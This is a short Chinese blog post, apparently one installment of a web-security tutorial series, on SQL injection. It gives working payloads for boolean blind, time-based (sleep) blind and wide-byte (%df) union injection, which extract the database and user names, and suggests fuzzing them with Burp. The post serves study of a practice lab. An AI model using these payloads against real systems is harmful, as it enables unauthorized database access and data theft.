在这里呢,先给大家说一声抱歉,最近因为一些事情有点忙,耽误了更新,今天继续
免责声明,本人文章仅限于技术交流,不得用于其他用途!!!
盲注
有回显
对于有结果的不二盲注,通过true与false来判断
payload:
猜长度 vince' and length(database())=1#
一个字母一个字母的猜 vince' and ascii(substr(database(),1,1))=112#
猜长度与密码
vince' and ascii(substr(database(),1,1))=112#
使用bp在加粗加斜线的两个位置添加变量
无回显
对于无回显的,一般采用时间盲注
根据页面响应的时间,来判断输入的信息是否正确
payload:
-
xx' and if(ascii(substr((select database()),1,1))=97, sleep(5), 1) --
-
xx' and if(ascii(substr((select user()),1,1))=97, sleep(5), 1) --
宽字节注入
原理就是通过一些函数进行对于字符的转义,但是这些转义特殊字符的机制一旦被利用,就i可以构成宽字节注入
payload:
?id=100%df' union select 1,database(),3 --+
这种的payload